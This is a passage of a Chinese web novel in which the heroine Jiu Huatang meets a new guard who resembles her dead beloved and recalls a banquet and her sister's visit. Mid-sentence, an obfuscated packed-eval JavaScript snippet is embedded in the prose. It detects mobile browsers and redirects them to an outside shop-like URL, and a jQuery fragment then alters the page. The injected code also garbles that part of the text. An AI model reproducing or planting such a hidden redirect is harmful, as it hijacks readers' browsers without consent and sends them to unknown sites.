晨光熹微,九府明枝院中,胭脂色的海棠初醒。
九华棠对镜描眉,姝丽容色艳如花雪,她的身后,两位巧手簪娘梳理着她又密又长的乌发。
贴身丫鬟时鸣与月出在一旁笑语。
月出本就是闲不下来的活泼性子,聒噪些也就罢了,可就连平日里故作老成的时鸣,今日也难掩兴奋,显出十六岁少女的朝气来,嘴皮子不停地翻上翻下。
九华棠觉得好笑:“好了好了,你们两个,最后重复一遍我的要求。”
月出的嘴角咧得老高,快语道:“一是武艺高强,二是家世清白,三是性情温顺,四是……四是——”
时鸣忙接道:“四是相貌平平。”
九华棠拊掌笑了:“行,快去吧。”
武艺高强,家世清白,性情温顺,相貌平平。这四点,是九华棠挑选明枝院侍卫的要求。早几日前,九府的杨管事往各院送时令水果时,知会众人,说九府新招了一批侍卫,叫各院届时前去挑选。自那时起,月出和时鸣便一直在期待。
殷红鲜美的樱桃衬着两人粉嫩的花容,甚是俏皮可爱。
月出迫不及待地举手:“我——我——小姐小姐!让我去!我要亲自选夫!”被时鸣笑话了一番。
梳妆毕,九华棠换上轻薄软润的浅桃色春衫,袖间裙摆饰着细长的鹅黄丝绦,被暖风扬起。一小截皓腕与白腻的脖颈露在空气中。
因心上人沈据之葬身陵北战场,她已经颓唐了三个月有余,如今冰消雪融,已是乍暖还寒的早春。
难得今日休沐,九华棠与友人相约去城外的柳荡山踏春,久违地梳妆打扮了一番。她刚迈出明枝院,却见月出急哄哄地回来了:“小姐!快跟我去抢人!”
“你别慌,慢慢说。”谁敢抢她明枝院看上的人?
月出凑到九华棠耳边:“我与时鸣姐姐挑中了一个侍卫,那人武艺平平,家声狼藉,冷眉淡目,俊俏至极!”
“……”九华棠道,“你俩是真会挑啊,就一点不按我的要求来?”
“诶呀!小姐去了便知!我说不清!总之,非他不可!”
九华棠丹凤眼微挑,月出偶尔会犯迷糊,但时鸣一贯是个极靠谱的,既是时鸣挑中的侍卫,高低得去瞧瞧,究竟是怎样一个祸水。
“走。”
匆匆往九府西面的倒座房而去。
料峭春风拂过桃枝柳色,九华棠穿出垂花门,只见偌大的院中,整齐地排列着二十来个侍卫。
有一人立在最前方,闻声抬眼,看向她。
仿佛整个二月的风在此刻涌向九华棠,扬起她的青丝与衣袂,翻飞风中。
九华棠愣在原地。
不需要月出指出,那个瞬间,她当即明白了,时鸣和月出挑中的是谁,以及原因,所谓的“非他不可”。
那人长身玉立,青衫乌带,与沈据之有五分像。
他比沈据之黑,比沈据之瘦,因此甚至显得比沈据之还要高上几分,肩膀又宽又直,立在人群中,端的是鹤立鸡群,灼然玉举。
白玉指紧捏成拳,九华棠几乎要落下泪来。
不由自主地奔向他,等看清他目色里的凌厉与寒意,才收住了泪光。
沈据之不会这样看她。
几乎一模一样的一双眼。
但沈据之不会这样冷漠这样充满敌意地看着她。
沈据之终究是不会再回来了。
那她留下一个与他五分像的侍卫,又算什么?有何意义?
九华棠犹豫着,开不了口。
那侍卫先说话了。
他的音色有些哑,没有沈据之的悦耳。嘴唇倒是与沈据之的很像,又薄又浅的一道。
他说:“我不愿做三小姐的侍卫。”
-
三个月前。
夜色渐浓,庭中风霰纷纷。
宴罢归府,九华棠整个人都是恹恹的。
今日是京兆府尹——太子齐照特为她举办的烧尾宴,宴席设在京城长宁最豪贵的酒楼——消愁楼。
消愁楼前临北宁大街,后靠浩渺宁江,占尽了风雅与繁华。尤其是消愁楼顶层的琼宴堂,极受满京达官贵人的青睐。
金堂白玉,名家字画。
陶潜的《归园田居》下,高官显要们推杯换盏,觥筹交错。
九华棠出了琼宴堂,倚钩阑,迎夜雪,任由高处的寒风吹透她。
不知为何,她莫名心慌,感到有什么不好的事在靠近她。
按理说,九华棠此刻应当正是春风得意之时。
今岁春试,九华棠高中探花。先是在翰林院修了大半年的书,如今正式被任命为京兆府的从六品判官。
虽说大昭国的女子可以参加科举入仕,然而从未有女子能在殿试得到圣上的垂青,荣登一甲。九华棠可谓是破天荒的第一人。
有大好的前程在等着她。
自然,身后闲言碎语不断,说九华棠靠的是她爹——权柄滔天的左相九绛,靠的是她姐夫——主持这届殿试的太子齐照。
九华棠对此嗤之以鼻。
实际上,九华棠以为,凭自己的才情,即便状元,也是当得。只是世人认定了女子在文章韬略上不如男,不会接受一个女状元。
她唇角噙着一枚凉凉的笑。
“阿棠!”
下方传来呼唤声,九华棠低鬓一瞧,是太子齐照。
他立在下面一层的挑台上,背倚着钩阑,正仰脸瞧着她。
消愁楼的顶层只有琼宴堂,因此顶层比底下的五层楼都要小上一圈。
齐照一派雍容俊美,在突然落下的一片雪霰中,他双臂闲闲地搭在钩阑上,斜望着九华棠,对她一笑。
九华棠目光一晃,恍惚以为楼下那人是沈据之。她按住心口,突然明白了自己不安的由来。
是因为沈据之。
总是因为他。
远赴陵北作战,已大半年未归的心上人。
曾经,也是此情此景,沈据之背倚消愁楼五楼的钩阑,仰首望她。
那日有沁凉的春雨斜斜地落下,落在他昭朗的眉宇间,衬得那双眸子更黑也更亮,整个人清贵殊绝。
“九小姐。”沈据之的声音低而冷,如同华光凛凛的剑锋流转,“我明日出征,京郊灞桥柳堤,景色宜人,九小姐会来为我送行吗?”
沈据之第一个问的人不是九华棠。
当然,九华棠并不在乎沈据之第一个问的人是不是她,究竟是谁。她并不在乎。九华棠只是碰巧听见了。
听见沈据之问魏伊琦:“魏小姐,明日出征,你会来送行吗?”
魏伊琦又羞又喜:“我一定会去的!怀机将军——”
九华棠就是在那时离开琼宴堂的。
所以九华棠没有听到沈据之后面那句话。
“魏小姐误会了。在下的意思是,舟车劳顿,魏小姐不必相送。”
济世书院中关于九华棠的流言蜚语,几乎都是魏伊琦编造散播的,比如说九华棠其实是个男人,因为有断袖之好才男扮女装,所以九华棠的文章才写得那样好!或者说九华棠与某夫子有染,小竹林里的弃婴就是九华棠的……
腌臜事魏伊琦做了不少,被九华棠揪住后,又痛哭流涕地求她原谅,说她只是因为太爱沈据之了。
九华棠:“?”
九华棠简直脚趾扣地,但她很快反应过来:“你爱沈据之,关我什么事?我碍着你什么了?”
魏伊琦低着头不回答,只咬着嘴唇求九华棠放过她。
“因为沈据之心悦你”这个答案,魏伊琦死也不愿意说出口。想九华棠自诩慧极,在感情之事上竟然如此迟钝,那真是再好不过。
她只希
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092142|195475||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
望九华棠永远也不要察觉。
春雨如丝的夜里,九华棠垂眼望着沈据之,他的身后是北宁大街璀璨而遥远的灯火,明日,他就要为守护这万里灯火远征。九华棠不想在离别的时候显出一双真实的泪眼。她总是矜傲的,一块没有裂缝的琉璃。
“明日不便。”九华棠的声音凉丝丝地落在沈据之眉眼间,“愿怀机将军早日凯旋。”
“借你吉言。”
“阿棠,”齐照又唤了她一声,“你二姐,又要劳烦你照料一阵子了。”
九华棠眉稍一挑。
-
丫鬟时鸣执伞候在明枝院门外,见到夜归的九华棠,迎上来第一句便是:“三小姐,太子妃又回娘家来了,就在您的屋子里。”
九华棠淡淡地“嗯”了一声。
太子妃九华缨,是她的二姐。
九华缨生得粉面丹唇,肤白如珠,是九府精心呵护,养于玉林琼池的一朵富贵花,只可惜这朵富贵花美则美矣,脑袋却不太灵光。
打从两年前,九华缨嫁给彼时还只是敬王的二皇子齐照,她与敬王便是三天一吵,五天一闹,动不动就回娘家。
这个“娘家”特指九华棠的明枝院。
但过不了几日,敬王就会备齐厚礼登门道歉,伏低做小,把九华缨哄得服服帖帖的,跟他回去。
从前也就罢了,他二人住在内城的敬王府,容九华缨三天两头地逃出来。如今敬王已成太子,入主东宫,受命监国,还能放太子妃逃出宫来,实在是夫妻情趣,不管旁人死活。
“这回太子殿下又如何招惹你了?”九华棠不甚关心地问了一句。
“哼,别提了——”
“好。”
“——今日本宫心情好,在御书房陪着齐照理了一会儿政,有个皇城司的人进来,叫‘董’什么的,似乎要汇报什么隐秘。碍着我在那儿,支支吾吾的,不敢开口。你知道,齐照说什么吗?”
九华棠立于镜前,任由丫鬟们解开她大红鹤氅的金玉带钩,褪去她粉藕色浮云绸外袍,解散她繁复的发髻,一丝一缕地梳理那如瀑如缎的乌发,再于发梢细细地抹上雪莲沁油。
淡幽安神的香气萦绕周身,九华棠闭眸养神。
九华缨自顾自地气呼呼:“齐照居然对那人说,但说无妨,缨缨听不懂的。哈?”
九华棠皓白清透的肤色在灯下莹着一层光,如脂如膏,容质绝艳。她淡淡地笑了:“还得是太子殿下了解我们缨缨。”
缨缨怒而叉腰:“哼,臭男人!当着面骂我,我看他从来只是馋我的身子,压根不把我放在眼里!”
丫鬟们笑作一团。
“你猜,今夜烧尾宴上,我见到谁了?”
“李太白!”
九华棠:“……”
“噢,噢我知道了,沈据之!”
沈据之还在陵北作战呢,九华棠叹了口气:“你夫君,太子齐照。”
“哦。”
“还有韩钦。”
“咦?”
九华棠冷笑一声:“韩钦在席上奉承上峰,大骂辛党,造谣生事,后来被我驳了两句就像个‘没口匏’似的再不吱声了,真是个趋炎附势媚上欺下的龌龊小人!一想到以后时常要与他同处屋檐下,我就直犯恶心。”
“啊韩夫子!”九华缨总算想起来,“当年在济世书院他对我很好呢,经常夸我的字写得好看!”
九华棠:“……”
时鸣在一旁温柔地附和道:“太子妃的字,自小就是极好呢。”
九华缨歪歪扭扭的字浮现在九华棠的脑海里。
九华棠干笑两声:“字如其人,字如其人。”
敛了敛衣襟,准备去沐浴。
就在这时,丫鬟月出忽然拨帘而入,花容失色道:“小姐!坏了坏了!怀机将军他!他好像、好像出事了!”